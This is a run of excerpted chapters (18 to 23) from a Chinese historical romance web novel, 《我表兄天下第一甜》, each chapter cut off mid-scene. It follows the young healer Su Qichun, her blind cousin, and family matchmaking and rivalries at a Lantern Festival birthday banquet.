李夫人越想越不是滋味,这几日,她为着苏川柏和苏川谷的亲事本就碰了一鼻子灰,如今又见着苏祈春宁愿亲近一个瞎子,也不和两兄弟多走动,心中不禁郁结起来,夜晚也是吃不下饭,思索一番,白着脸又去找老夫人去了。 老夫人听她哭了一番,不哄她也不骂她,只是淡淡道:“儿女亲事本就是缘分天定,至于远近亲疏更是如此,自古以来,都是真心换真心,我看山儿虽眼瞎口哑,但平和静顺,是个好孩子,纤纤愿意亲近他也是自然而然的事。” 李夫人一听老夫人的话,顿时清醒了几分,附和道:“母亲说的是,您看我这不是发愁柏儿和谷儿的亲事给愁坏了!母亲,柏儿和谷儿可是苏家唯一的男丁。” 李夫人心里熟知老夫人的七寸,故而将老夫人拿捏得死死的。 老夫人闻言叹气,“罢了罢了,柏儿和谷儿的亲事固然重要,但这和纤纤不相干。” 李夫人此时只恨自己嘴上没把门的,什么都往外说,忙说:“可不是,这和纤纤无关,是我太着急了,口不择言,还望母亲恕罪。” 老夫人与李夫人相处多年,也知李夫人的性子,不欲和她计较,她道:“嗯,你知道就好,日后多管住嘴比什么都强。” “是。”李夫人低眉顺眼地看着老夫人,“那柏儿和谷儿……” 老夫人叹口气,道:“上元佳节将至,这湛江县好几个有名的世家都在办灯会摆宴席,这帖子都往府上送了好几个了,这说是庆祝上元佳节,其中也有相看儿女亲事的意 18. 去赴宴 《我表兄天下第一甜》全本免费阅读 18去赴宴 陆之山没有动,手中的兔儿灯分明是凉凉的一团,在他看来却似火炉般滚烫。 苏祈春望了一会儿陆之山,风雪吹得他的浓眉白成一片,她听老夫人说上元佳节那日要带着府里的小辈儿一起去施员外家作客,但又听说不带陆之山,也不知是为何。 但苏祈春相信绝不是因为嫌弃,老夫人不是那样的人。她想不带陆之山兴许是为了怕陆之山受外人讥笑。 这些苏祈春也明白,可若是苏祈春,她不会这样做。她深信,陆之山没有什么值得被嘲笑的。 他是哑是聋都不是被看轻的理由。 苏祈春拿起陆之山手中的兔儿灯,引着陆之山的手去摸它,跟他说:“山哥哥,上元佳节那日,你记得要点亮这盏兔儿灯,一直到灯熄灭了才可以睡觉。” 陆之山神色不动,苏泽兰倒好奇起来,“这有什么说法吗?” 这当然毫无根据,纯粹是苏祈春的小心思,但在苏泽兰面前,她自然说不出口,支支吾吾地道:“这是纤纤和山哥哥的秘密。” 既然是秘密,那自然是不能同别人说的。 苏泽兰了然地笑笑,也知趣地给两兄妹留下说秘密的空间,转身朝屋里走去。 大风呼呼地摇着青松树的树叶,哗啦啦地响,白鹅绒一般的雪花顺着青松树的树梢落下来,不知不觉间,落了两兄妹满身。 苏祈春的眼睫上犹沾着一大片雪花,遮住她半边视线,她凝望着陆之山,甜甜道:“山哥哥,上元佳节那天,等这盏兔儿灯燃尽时,就是纤纤回来的时候,到那时,纤纤还可以陪你过上元节。” 到了那天,也许就拿到了治疗眼疾的灵药,山哥哥的病兴许就好了。想到这些,苏祈春脸上笑意更深,挽住陆之山的胳膊,继续说:“这可是纤纤陪山哥哥过的第一个上元节。” 陆之山身子似是被冻僵了,动也不能动,他轻轻捏住兔儿灯,冰冷的风雪从指尖透进心田,却被滚烫的心跳一点点融化,直至消失不见。 小女郎侧脸轻靠在他的胳膊上,无拘无束,毫无防备,安然恬静地像幼兽栖息在母兽的怀抱里。 某一刻,他真的很羡慕真正的陆之山。 远处的天际,一排排飞雁从冷灰色的云层间穿过,积雪压在它们的翅膀上,它们每飞一段路,都格外沉重艰难。 陆之山听着飞雁振翅的声音,低头对着苏祈春,翻过她的手心,写下几个字,“听纤纤的。” 苏祈春咯咯直笑,“山哥哥答应了,纤纤好开心。” 陆之山忽地笑了,笑容如春风化雪。 望着陆之山的笑,苏祈春怔了一瞬,她好难得看到陆之山这么开怀的笑,陆之山初来时,冷着一张脸,像冰块儿一样,他今日笑起来,倒是好看得紧。 也因此到了此时苏祈春才发现,她的山哥哥原来是这么好看的人儿。 若是他多笑就好了。 苏祈春不由得想到苏知辛口中的那株灵药,兴许这株药能治好陆之山的病,如此她便算兑现了和陆之山的约定,陆之山也就会多笑了。 风雪依旧,苏祈春伸出小手,张开五指,接着从天而落的雪花。今年的雪不同于往年,下得又大又多,纷纷扬扬,无穷无尽。 苏祈春不一会儿便捧了一手的雪花,弄得手心凉凉的,但她的心是欢喜的,并从这欢喜里开出花来。 连着下了三四日的雪,眼看到了上元佳节这天,雪蓦地停了,冬日的太阳缓缓地升上来,隔着云层投下极温柔的光。 一大早,杨夫人便把苏祈春叫起来,忙着给苏祈春穿衣篦头,苏祈春困倦地闭着眼,睁都睁不开。 “娘,这会儿还早着呢,纤纤要再睡会儿。”苏祈春嘟囔着。 杨夫人带着些无奈地瞧着苏祈春,揉揉她的小脸,道:“太阳都晒屁股了,再睡,老夫人都要过来叫你起床了。” 苏祈春才不怕什么老夫人,她只知她是老夫人的心肝宝贝,老夫人也会向着她的,故而她依旧闭着眼,身上也好似没有骨头一样,软软的,只往床上倒。 杨夫人无奈将茯苓也叫进来。 茯苓一看苏祈春的样子,心下顿时有了计策,她带着些慌张的语气说:“女郎,快起来,陆公子来了!” 山哥哥! 苏祈春一听到陆之山的名字,瞬间就精神了,她想着今日还要给陆之山敷药,可不能忘了。 她睁开眼,却只瞧见茯苓忍着满脸的笑看着她,杨夫人坐在她身边,至于陆之山,一点儿没见到,她仍在奇怪,“山哥哥呢?” 茯苓忍不住捧腹大笑起来,笑得眼泪都出来了,“夫人,你看我就说吧,咱家女郎心里眼里只有陆公子。” 苏祈春愣了一会儿,有些缓过神来,她红着脸反驳,“茯苓你!” 杨夫人见苏祈春听到陆之山的名字便精神起来,也觉得不可思议,心里嘀咕着这两人怎么这样好了? 苏祈春被这二人笑得面红耳赤的,恨不得找个地缝钻进去,但她又确实在意陆之山的病,她是陆之山的大夫,哪有大夫不关心自己的病人的?况且陆之山还是她的哥哥,妹妹关心哥哥本就是天经地义的。 好在苏知辛此时走进来,解了苏祈春的围。 “笑什么呢?”苏知辛问。 苏祈春如见到救星一般,躲到苏知辛身后,不服气地说:“纤纤不过是担心山哥哥的病,茯苓便笑话我。” 苏知辛有些惊奇,一时之间弄不懂其中关系,只听茯苓也诉苦道:“老爷,这可就冤枉了……” 两个小女郎互相看着,一个比一个冤屈,谁也不服谁。 苏知辛反而被这两人逗笑了,拍着苏祈春的脑袋,道:“好了好了,你山哥哥的伤方才我已替他敷过药了,纤纤你就安心吧。” 苏祈春心下松了一口气,将方才的事忘得一干二净,欢喜地道:“谢谢爹爹。” 这一番折腾,苏祈春算是真正醒了,见外面天色不早,忙洗漱梳妆。不一会儿,一个粉嘟嘟的小女郎便姗姗然来 19. 是哥哥 《我表兄天下第一甜》全本免费阅读 19是哥哥 苏祈春闻言手紧握成一团,粉嘟嘟的小脸气鼓鼓的,脸色又青又白,她一激动浑身便要僵硬起来,像是幼兽防御的姿态,声音里会不由自主地带着些泣声,听起来又凶狠又可怜。 “苏川谷,你闭嘴!”苏祈春转身瞪着他。 苏川谷倒也不怕,慢悠悠地说:“又要给你的山哥哥出头了?” 苏祈春瞪着他,浑身颤抖。 苏川柏见此情形,忙在中间说和,劝道:“好了好了,纤纤妹妹消消气。”又转头对着苏川谷使了个眼色,暗示他叫他别闹了。 苏祈春不服气地欲要再说几句,老夫人恰在此时出了屋门,迎面见到三兄妹,伸手招呼着苏祈春,唤着她的名字。 瞧见老夫人,苏祈春堪堪压住心底的怨气,跑到老夫人面前,福一福身,勉强露出一个笑,“祖母。” 老夫人拂落她鬓边的雪粒子,一双慈目柔柔地看着她,“方才听你们兄妹在吵架,为着什么事?” 苏祈春恨不得将事情的原委一股脑地说给老夫人听,但又想到今日是上元节,本不该提这些扫兴的事的,摇头笑道:“没什么,纤纤是在说谷哥哥今日穿得好生漂亮,倒不像是去做客,反而像是要去见什么人,谁知谷哥哥会错了意,以为纤纤在嘲笑他呢。” 说着,老夫人和苏祈春的目光往前落,落在苏川谷身上。 苏川谷皮笑肉不笑地走上前,对着老夫人行了礼,见两人看着他,不自然地道:“妹妹是在祖母跟儿前告我的状呢?” “纤纤才没有。”苏祈春扭头。 老夫人啐了苏川谷一口,道:“你这做哥哥将你妹妹想成什么人了?” 话音刚落,下人便来通报,说是马车俱已备好,都在府门外等着了,一众人这才丢下话头,纷纷挪步,浩浩荡荡地往府门外而去。 上元节在湛江县是大节日,一路走去,灯笼挂满了屋檐,大红的彩纸剪成各样形状贴在门上,大街上人满为患,男的女的老的少的,也不顾及寒冷,个个忙活着,家家户户布置一新。 施员外是湛江县的富户,据说他祖上本是朝中的大臣,为官很是清廉,连一粒米都不曾贪。是以后来,子孙们科举不利也没为他们谋上一官半职,最终一家人搬回湛江县,过上清平日子。 但虽说施家已无人在朝中为官,施家先祖的福荫至今仍庇护着他们,尤其是施家的施老夫人,比苏老夫人还要年长十岁,但精神矍铄,康健异常,她本是太傅之女,当年为了施家先祖才不远万里嫁到湛江,这么多年,仍与朝中有些联络。 故而上元节,施家以老夫人过寿为由宴邀众人,就连县令也不敢怠慢。 一行人坐在摇晃的马车里,时不时往外望,就等着到施家,看看施家的气派。 谁知真到了施家,众人反而失望了。 她们想着施家不说金碧辉煌,也定然是雕廊画柱,谁知下车之后,抬眼望去,皆是灰扑扑的一片,素净得倒像是个穷酸秀才家的屋子。 但苏祈春不这么觉得,她一眼见到这屋宇,便想到了觉明院,质朴自然,与这万千世界相得益彰,倒比那些华而不实的装点来的更好些。 所谓“大音希声,大象无形”①就是这么个道理。 不过一行人虽心有异议,却不敢显露,说到底施员外的名声在外,便是他住在破茅草屋里也不敢有人对他不尊重。 来的大都是女眷,另外还有几个少年郎,都是知根知底家世清白的,便也没那么多规矩,都一起进了后院,同施家老夫人见面。 “嗯。”施老夫人满头银发,脸上皱褶丛生,但一双眼却极亮,由此显示出她的精神来,众人行过礼后,她点点头,目光从眼前人脸上扫过,对着苏老夫人说:“妹妹,近来可好?” 苏老夫人坐在软榻上,回道:“托姐姐的福,近来一切都好,这不,孙子孙女都大了,也不像从前那般操心,日子也算和顺。” 施老夫人放下手中的茶盏,拿眼去看立在一旁的几个小辈,瞧了一会儿,忽地一笑,指着最末尾的那个粉色衣衫的小女郎说:“这是妹妹的孙女吧,看上去就和别人不同,透着些妹妹你的影子。” 李夫人一听这话傻了眼了,她本想让施老夫人多看看苏川柏和苏川谷两兄弟,特意将两兄弟拉到老夫人身边,谁知,这施老夫人偏偏看到了离得最远的苏祈春。 但施老夫人是何等人物,只眼神在人身上轻轻一扫,便能看出这人的品行道行来,在她看来,这两兄弟身上都透着些不正经。 “她啊。”苏老夫人冲着苏祈春招招手,“姐姐说得不错,这正是我的孙女,苏祈春,乳名纤纤。” 苏祈春走上前,对着施老夫人盈盈笑,福身行礼,“纤纤拜见施奶奶。” “快起来快起来,到我这边来。”施老夫人见着苏祈春笑的样子,心里也不禁开起了花,拉着苏祈春的手问个不停。 苏祈春也不怕,一一答着,抬头举目皆是一番春意。 “苏祈春,这个名字好,纤纤人如其名,真就好似春天一般。”施老夫人笑道。 正说着,施家大房带着一双儿女姗姗来迟,一进门便连连告饶,“母亲,儿媳来迟,还望恕罪。” 几人沿着声音的方向看过去,只见一个女子头戴翠珠,身上披着大红氅衣,氅衣领口处露出里面的天水碧衣裙,一双眉目像含了水一样,湿漉漉的。 “你啊你,没有一次是靠谱的。”施老夫人话语里含着些愠怒,可眼神却是温柔的,多少带着些宠溺。 崔夫人脱下氅衣,坐在施老夫人身旁,她身后站着她的一双儿女,儿子施之谓,已到了束发的年岁,一身儒意,斯文异常。女儿施清荷,也是一副俏皮可爱的样子,只比苏祈春小一岁。 两个人见着屋子里这么多人,不免多看了几眼,其他的人倒没什么,只是施老夫人身旁的这个小女郎,明眸皓齿,笑意盈盈,倒是好看得紧。 施清荷忍不住多看了几眼, 20. 少年郎 《我表兄天下第一甜》全本免费阅读 20少年郎 几人又寒暄一番后,县令夫人携儿子李元礼,施家二房春夫人也带着孩子一齐来了施老夫人的屋子。 李元礼已到了谈婚的年纪,看上去也是剑眉星目,肆意张扬,众人瞧他也颇有一分少年意气,忍不住频频点头。 李元礼礼数方面也做得周到,一声声祖母叫着,当真让人心花怒放,喜不自胜。得了几句夸赞后,李元礼坐至一旁,先是扫了一眼施之谓,冷冷地收回眼,又抬眼瞧见施之谓身旁的施清荷,一颗心像被鹅毛扫过一样,狠狠地痒。 再看施老夫人身旁站着的小女郎,一双杏眼弯弯,脸上还带着些幼女特有的婴儿肥,更是血涌上头,整个人都痴住。 苏川谷与李元礼乃是一丘之貉,臭味相投,自打李元礼一进来就玩味儿地看着他,如今见他这副样子,更是心中得意,故意咳嗽几声。 李元礼听到一阵熟悉的声音,不舍地移过目光,扭头看过去,正瞧见苏川谷皮笑肉不笑的眼神。 他与苏川谷前些日子生了些龃龉,那藏花楼来了个小丫头,从未侍奉过人,他早已放下话来要收了她,谁知苏川谷这个不长眼的抢先一步尝了那温香软玉。 他淡淡地瞥一眼苏川谷,脸上没什么好脸色,又转头去盯苏祈春,目中流露出的下/流光亮令人侧目。 施之谓在一旁瞧见李元礼的模样,皱了皱眉,他望了眼含笑的苏祈春,心下隐隐有些不安。 一屋人寒暄一番后,眼见着到了中午用饭的时间,于是众人围着施老夫人,众星捧月一般,挪步至前厅。 今日是难得的好天气,日光穿过层层叠叠累积的云淡淡地洒下来,廊下众人的身影被金色的光投在灰白的墙上,留下长短不一的黑影。 几人纷纷感叹着今年湛江县好大的雪,举目之间,皆是一片白,倒不像是湛江了,像是极北的北边。 说着,众人穿过甬道,视野忽地开阔起来,只见左手边有一大片空地,空地上铺满了雪,白茫茫的一片,期间连棵树都没有,倒不知道是谁在这片白上堆了几个雪人,眼睛鼻子惟妙惟肖,乍一看,还真像是真的。 众人正感叹着,极白的雪地上忽地现出一个身影,那身影飘逸灵动,像是随风飘动的柳枝,不同的是,不是风吹着他,而是他带着风,能让风听话一般,偏让风做了他的陪衬。 这一行人瞧着少年在雪地上舞剑,天光与大地寂静下来,仿佛世间只有这一人。 这场面美得让人难以挪目,唯有施老太太见多识广,早早缓过神来,问着身旁人,“这……这是谁家的孩子?” 几人堪堪收回目光,互相望望,都一脸茫然。 春夫人隔着人群往外望,见到雪上人,惊叫一声,道:“这不是曲余青吗?” “曲余青?”施老夫人问。 春夫人点头,走上前来,道:“这是我家侄子,名唤曲余青,前不久刚从家来看我。” 施家二爷自成亲后便搬出去住,故而施老夫人也不甚知晓他家的事情。 “原来是你的侄子。”施老夫人点头,“瞧着是个好少年,也有个好姑姑。” 施老夫人这话里有话,明眼人都听出来,春夫人也听明白了,若说她没有私心,这是假话,若她没有,她就不会带着曲余青来这里了。可她这私心也不算什么,为侄子筹谋婚事本也是天经地义。 她淡淡一笑,挥手招来曲余青。 离近了,众人才瞧出曲余青原来穿了一身淡青色,领口处绣了几株若隐若现的青竹,他抱拳行礼,一笑就露出一排极白的牙。 崔夫人瞧着曲余青的模样,暗自点点头。 “好孩子。”施老夫人笑道:“跟着一起去前厅吃饭,今天老婆子我大寿,有好吃的。” 施老夫人话已至此,众人也不多言语,跟着施老夫人到了前厅。 一路上,苏祈春默默地跟在施老夫人身旁,时不时回头看一眼,先是看见施之谓躲闪的目光,后又看见李元礼令人作呕的神色,接着眸光又落在曲余青身上,她盯了一会儿,不知在想什么。 前厅里坐满了来祝寿的人,这些人与施家关系并不十分亲厚,故而也没多言语,一行人坐好后,施老夫人说了一番喜庆之词后,众人纷纷提筷吃起来。 曲余青是个不拘的性子,到了饭桌上,谁也不管,见到好吃的便夹个不停,见到不好吃的便一个不碰,更不要说察言观色这些,他也一概不管。 这本没有什么,可偏偏他的身边坐了个最需要人照顾,最娇生惯养的施清荷。 施清荷平日吃饭需要两三个人伺候着,一个人夹菜,一个人盛汤,另有一人擦嘴,可今日是施老夫人寿宴,她自然不敢如此放肆,只求着身边人能纵容纵容她。 苏祈春倒是个好姐姐,见她够不着,给她夹了一碟子的菜,可这曲余青,吃起饭来,像饿死鬼投胎,没一会儿便将眼前的菜一扫而空,只留下谁也不爱吃的胡萝卜。 施清荷越看越气,嘟着嘴,瞪着曲余青。 似是感受到了目光,曲余青瞥眼去看身边的小女郎,但也只是匆匆一瞥,丝毫没有觉察到异样。 施清荷简直要气炸了,凑到苏祈春身旁咕囔着,“纤纤姐姐,你说这个人怎么这样呀?” 苏祈春吃着糯米糕,嘴角尚带着些白色的渣子,她笑笑,目光落在曲余青身上,摇头道:“许是饿坏了。” “这得饿成什么样子?”施清荷又气恼又不解又无奈。 曲余青也不知听没听到二人的话,只见他依旧风卷残云着,丝毫不在意周边的目光,和那个在雪地上舞剑的少年天差地别。 苏祈春咽下口中的糯米糕,盯着眼前的空盘看了会儿,又装作不经意地往曲余青那边瞧,乌黑的眸子亮了又暗,暗了又亮。 施之谓坐在苏祈春的对面,向来含蓄收敛的他今日在饭桌上也没说几句话,只是偶尔有时抬头看一眼苏祈春,在见到苏祈春望向曲余青的目光后又低下头。 这桌上儿女的心思都被施老夫人收在眼底 21. 少女心 《我表兄天下第一甜》全本免费阅读 21少女心 “你!”苏祈春怒盯着苏川谷,他猥琐的面目落在苏祈春眼底,让苏祈春一阵恶心,“谷哥哥想错了,妹妹只是在想,若是山哥哥不哑不瞎,以他的身手想必不会比曲哥哥差。” “怎么了?谷哥哥不会忘记了吧?”苏祈春盯着苏川谷盈盈笑,“那日你可是亲自领教过的。” 苏祈春还记得当日陆之山的身手,苏川谷自然更不会忘,那日他回去后,手腕足足疼了半月,连苏知辛都说看这伤势,出手之人至少有十年的功力。 苏川谷的脸登时白起来,眉目神情都变得不自然,“苏祈春,你胡说什么?” 李元礼在这里,他自然不能承认。 苏祈春见他这般样子,一声冷笑,不由得觉得她这个哥哥实在虚伪,转而又为陆之山感到不甘,“纤纤在说什么,谷哥哥心知肚明,谷哥哥担心输给一个瞎子丢人,纤纤明白,但人总归还是要诚实点儿的好。” 本来苏祈春的声音就甜,如今说出的话中又带了点儿似有似无的咬牙切齿,反而显出一点儿娇憨的意味来,一旁的李元礼听得是酥酥麻麻,如痴如醉。 苏川谷听出苏祈春的含沙射影,脸憋得通红,捋捋袖子正欲上前,却忽地被李元礼拦住,他和李元礼目光相接,登时明白了几分。 “纤纤妹妹,莫要生气了。”李元礼将苏川谷推至身后,走到苏祈春面前。 他身姿高大,一双桃花眼眯着,似笑非笑地盯着苏祈春。 苏祈春被他盯得浑身发麻,好似被一大片绿色的黏液裹着,让她避之不及,浑身难受,她往后退了半步,道:“李哥哥,纤纤,没有生气。” 眼前的小女郎娇小,可爱,白嫩嫩的脸蛋儿像能掐出水儿一般,一双杏眼滴溜溜地转,许是爱笑,分明是冷着的一张脸,嘴角却还好似在翘着。 “是吗?”李元礼越靠越近,眼眸心底藏着按捺不住的浮荡,“胡说!” 李元礼声音陡然凛冽。 苏祈春下意识地抬头看他,身子已退至梨花树树干处。 “纤纤,纤纤没有胡说。”苏祈春防备地看着他。 “纤纤妹妹,你还是太好心肠了。”李元礼伸手拂上苏祈春的发髻,修长的一双手在苏祈春眼前盘旋,像是一只鹰,飞翔着寻找它的猎物。 苏祈春微微撇过脸,乌黑的眸子里爬上些恐惧。她听说过李元礼的大名,他是有名的浪荡子,平日以欺压抢掠幼女为乐,偏他爹是县令,没人能管得了他。 “你这样的美人,若有人惹你生气,便该将那人大卸八块,拖去喂狗。” 苏祈春听罢浑身发麻,她抖抖唇,双手握住身后的树干,眸光随着李元礼的手游荡。 她摇摇头,故作镇定地露出一个笑,道:“纤纤可不敢。” 说着,李元礼的手便要落下来,落在她的脸颊上。她瞪大了眼,往李元礼身后看。 电光火石之间,她冲着李元礼身后挥手,大喊:“茯苓!” 李元礼也不想此时被人看见,愣了一瞬,苏祈春趁机狠狠地推了李元礼一把,游鱼一般从李元礼身旁滑走。 她不敢停留,奋力往前跑着,边跑边冲着前面大喊,“茯苓,你等等我!” 可前面哪有什么茯苓? 李元礼望着小女郎惊慌逃跑的身影,目光逐渐变得阴鸷。 “你这妹妹,可真扫兴。” 苏川谷在一旁看着这场戏,此时才缓缓出声,“急什么?你李大公子想要的,还有得不到的?” 苏祈春此时自然不知道她的那位好哥哥心里在盘算什么,她拼尽全力往前跑,今日虽无雪,但冬日的风依旧像薄刃一般割着她的肌肤,她跌跌撞撞向前,腰间的铃铛发出凌乱的响声。 她想着方才的一切,心里溢满了害怕。她不会不懂得李元礼的意思,她只是没想到李元礼竟然真的敢,这可是在施府,况且,她兄长还在那里。苏川谷到底是她哥哥,不会见死不救,但李元礼依旧敢嚣张。 纷杂的思绪堆积在她脑子里,层层叠叠,好似随时会坍塌。 好在施府不大,很快她便回到了前厅。 院子里安安静静的,苏祈春推开房门,只见茯苓从里面冲出来,差点儿和苏祈春撞上。 “哎呀,女郎,可算找到你了!”茯苓一见苏祈春就一副如释重负的样子,拉着苏祈春往屋里面走。 筵席过后,桌椅都已收拾一空,穿过前厅,后面另有一间耳房,此时那里围着一大堆人,个个眉头紧锁。 迎面便是黑着脸的李夫人和苏川柏。 苏祈春本欲行礼,但两人显然兴致不高,看也没看苏祈春一眼。 “这是怎么回事?”苏祈春望向茯苓。 “女郎,你是不知道,方才曲公子舞完剑,一众人都围着他要他再露两手别的,谁知此时施家的清荷女郎忽然腹痛,痛得满地打滚,汗流不止。” 苏祈春细细地听着,这才知道为何李夫人与苏川柏那副样子。原来上元节施府的大夫都回家了,施清荷病得紧急,而苏川柏又是这众人里唯一一个学医的,于是便叫他来看。可他们怎会知,她这个哥哥对于医书实在是一问三不知。 李夫人自然是想借着这个机会显示下苏川柏的,可谁料,反而出了大丑,怎能有好脸色呢? 正想着,两人一起进了屋子,冬日里,屋外的雪映着窗纱,也照得屋里冷冷的亮,几位夫人连着苏老夫人和施老夫人都围着床榻上那个瘦弱的身影。 施清荷额上沁出细密的汗,嘴唇发白,脸颊上犹挂着泪水,她带着哭腔说:“祖母,清荷好疼。” 施老夫人半抱着施清荷,心疼地揉着施清荷的下腹,转头对众人道:“愣着干什么?快去请大夫!” 众人互相望望,又连忙催人接着去找大夫。 苏祈春迈着步子走进来,见到众人沉重表情,也不敢多说话,默默地走至苏老夫人身边。 方才苏川柏在施家人面前着实出了丑,惹得施府的人个个不悦,苏老夫人都没脸呆下去了,此时见着苏祈春,纵是知道她这个孙女医术精湛,也不敢多说什么,生怕又惹了一身骚。 < 22. 拒礼因 《我表兄天下第一甜》全本免费阅读 22拒礼因 她抹着眼泪写下一封遗书,又从心正庐的百眼柜里取出一些防腐的药材,将它们装进香囊里贴身放好。 就在她准备躺在床上等死时,杨夫人推门进来,看见她的脸色,吓了一大跳,她这才知道什么是葵水。 “纤纤姐姐,我不想死。”施清荷一双眼睛含满了泪,湿湿的,润润的,像雨后绿叶上的水滴。 苏祈春看得心疼,俯下身轻声安慰,“妹妹别担心,不会死的。” “真的吗?”疼痛和鲜血让施清荷忐忑,但看到苏祈春胸有成竹的样子,又不自觉地安心。 “当然。”苏祈春弯起乌黑的眸子,拍拍施清荷的背,“相信我,纤纤的医术可是连怀仁堂的苏大夫都自愧不如的。” 听到这儿,连一旁的施老夫人也不禁看过来,仔仔细细地打量着这个小女郎。她个子不高,身子骨柔弱,分明是小小的一只,说这话的时候却分外亮眼,倒像是真的。 别说是施老夫人不信,就连年岁不大的施清荷也不信。苏大夫的医术是湛江县数一数二的,苏祈春才多大,怎么能和苏大夫相提并论。 她换好亵裤,和苏祈春一起走到床榻边,毫不避讳地说:“纤纤姐姐这话我可不信。” 苏祈春将被褥裹在施清荷的小腹上,颇为自得地说:“我说的可是苏大夫亲口认证的。” 她说话的时候半昂着脸,透过窗纱的泠泠雪光照得她的半边侧脸闪亮,乍一看过去,好似她整个人都在闪着光,叫人移不开眼。 施清荷连着施老夫人心里都有些怀疑起来。 苏祈春又给施清荷把了把脉,开了一些活血止痛的方子。恰此时,请来的大夫也到了,诊治一番后,所说的与苏祈春大差不差。施老夫人留了个心眼,将苏祈春开的方子给大夫瞧了瞧,大夫连连称赞,说这方子考虑周全,并无异常。 事已至此,施老夫人才有些相信苏祈春说的话,超过苏大夫自然不可能,但苏祈春起码不像是她哥哥那样,不学无术,一问三不知。 施老夫人名门之后,最不喜肚里没墨水的人,而湛江县女子多安于闺阁,晓得学医治病的女子更是少之又少,而苏祈春年岁不大,却有这般医术,倒叫施老夫人忍不住多看她两眼。 苏祈春正坐在塌前和施清荷说些私房话,方才崔夫人进屋,和施清荷解释了一番何为葵水,羞得施清荷脸都红了,好在苏祈春和施清荷年岁相当,能在一旁纾解下施清荷的羞涩。 许是感受到施老夫人的目光,苏祈春转头看过去,见到施老夫人,她先是一愣,随即盈盈笑起来。 施老夫人也跟着笑,“纤纤今日可帮了老婆子我的大忙,若不是纤纤在,我们这一屋子的人指不定还要担心到什么时候呢!” 苏祈春听得不好意思起来,她低头笑着,密密黑黑的一排眼睫铺在白嫩嫩的眼下,脸颊上还带着微微的一酡红,显得娇羞可爱。 “是啊!多亏了纤纤。”崔夫人瞧苏祈春对待施清荷的耐心模样本就喜欢,如今又得知苏祈春一身医书,也欢喜得很,转头道:“母亲,纤纤帮了咱家这么大一个忙,是不是得……” 施老夫人看向崔夫人暗示的目光,心中明白了大半,微微一笑,道:“你今日倒是热情。” 崔夫人心虚地低下头,湿漉漉的眼睛里带着些扭捏。 “不过你说的倒也不错。”施老夫人又说:“你既如此热心,不如就由你来挑一件礼物来送给纤纤,你看如何?” 这话明显是将这选择的权力交给了崔夫人,要怎么样全看崔夫人自己抉择。这事要是放在别人身上,定会思索良久,但崔夫人是从小被宠到大的,最不怕的就是闯祸,只因不管她闯了什么祸,都有人为她兜底。 崔夫人听了这话,正中她下怀,高兴得合不拢嘴,只是不知道这东西是何等事物,竟要崔夫人亲自去取。 施老夫人和苏老夫人在这人世上摸爬滚打半辈子,一眼看穿崔夫人的心思,两人相视一笑,都不多言。 很快,崔夫人便取了东西回来,后面还跟着李夫人,李夫人方才出了丑,进屋也不说话,只默默地站在苏老夫人一边。 “来,我瞧瞧,你准备送什么好东西。”施老夫人掀开崔夫人手中的盒子,只看了一眼,便若有所思地笑起来,“你倒是大方,连我给你的东西都往外送。” 崔夫人湿漉漉的眼睛一垂,道:“这送给纤纤的,就得这样的好东西,母亲该不会是舍不得吧?” “舍不得?”施老夫人抬眼看看她这个儿媳妇,不免觉得她太心急,但苏祈春着实招人喜欢,她也乐见其成,“怎么会舍不得呢?你想送便送吧。” “哎!”崔夫人脆生生地应一声,转头将东西送到苏祈春面前,欢喜的看着苏祈春,道:“纤纤,快看看。” 苏祈春望望崔夫人,又望望苏老夫人,犹豫地掀开盒子。 盒子里铺着一层雪白的鹅绒,绵绵的,暖暖的。鹅绒的正中间放着一个冰莹剔透的玉镯,冰晶一般,透着些洁净冷冽的意味,苏祈春只看了一眼,便忍不住握住它。 “好看吗?”崔夫人问。 苏祈春点头,笑得眉眼弯弯,“好看。” “快戴上瞧瞧。” 说着,崔夫人放下盒子,上手帮苏祈春戴上,生怕晚一分苏祈春就不要了。 苏祈春到底只是个孩子,怎么懂这些大人的心思,她掀起衣袖,露出一截莹白的胳膊。崔夫人捉住苏祈春的手,将那玉镯戴上去,可巧的是,这玉镯本细,偏偏苏祈春的手腕也细,戴上竟正正好好。 众人看过去,只见一段雪臂透过剔透的玉镯映出来,明明暗暗,熠熠辉辉,如月色落在山中清澈溪流上,亦如日光斑驳掠过落雪的枝头。 一时之间,众人的目光都被吸引过去,移也移不开。 “真好……”崔夫人不住感叹,“纤纤喜欢吗?” 苏祈春也看呆了,不想这玉镯戴在手上竟然如此好看,她都不舍得取下来了,但转念间她想到她此次来的目的,她又将心中的所想都抛下了。 “嗯嗯。”苏祈春抬头去看崔夫人,她摸着冰冷的玉镯,笑了笑,“只是这个太 23. 兄妹情 《我表兄天下第一甜》全本免费阅读 23兄妹情 听见后面的声音,施老夫人回头看,连着众人的脚步也都停下,回望着施之谓和苏祈春两人。 施之谓平日里是个书呆子,少有如此情绪外溢的时刻,再加上他看着苏祈春的眼神着实痴缠,旁人便是傻子也该看出来了。 施老夫人瞧着两人,目光沉沉,脸上像蒙了层灰纱一般阴霾,她出声道:“之谓。” 施之谓正被苏祈春的笑拽进一个软绵绵的所在,施老夫人的一声呼唤,才将他堪堪拉出,他朝着施老夫人走去,“祖母。” 施老夫人目光扫过施之谓,道:“别看东看西了,一起走吧。” 施之谓不懂施老夫人话中所指,只能含糊地答是。 因着今日是施老夫人的寿宴并上上元佳节,故而晚上这一餐实为庆祝上元节所设。 经历了下午的一众事情,宴席上的众人也是各有所想,各怀鬼胎。 苏祈春依旧坐在了施清荷的身边,曲余青本仍要坐施清荷的另一边,被施清荷出声阻拦,非要将曲余青赶走。 施之谓一直偷看着此间情形,见几人僵持,主动过来解围,和曲余青换了位置。 “我坐在这里,总可以了吧?”施之谓对着施清荷说话,眼神却看着带笑的苏祈春。 这一幕幕都被施老夫人看在眼里,她原来是很喜欢苏祈春的,只是苏祈春当着那么多人的面拒绝了玉镯,非要为她的表哥求了药材回去,这事情本来也算是苏祈春善良,但她一想起李夫人的话,就浑身不自在,而且苏家的两个儿子名声都很差,她亦因此怀疑苏家的家风。 施家的儿子想找一个良配实属不难,她实在不必一棵树上吊死。 但这些打算,崔夫人却想不到,她只记着苏祈春的可爱善良,一心想定下亲事。 是以施老夫人在席上说要让施之谓和苏祈春结为异姓兄妹时,崔夫人第一个跳出来反对。 “母亲,这恐怕不好。” 施老夫人望着她笑,“怎么不好?我看很好,两人玩得好,若成了兄妹,以后也可一起常玩。”她顿一顿,眼神凌冽起来,“不必再说了,此事就这么办了。” 话音刚落,施之谓站起的身子便愣愣地落下,失了魂一般,眼神不知望向何处。 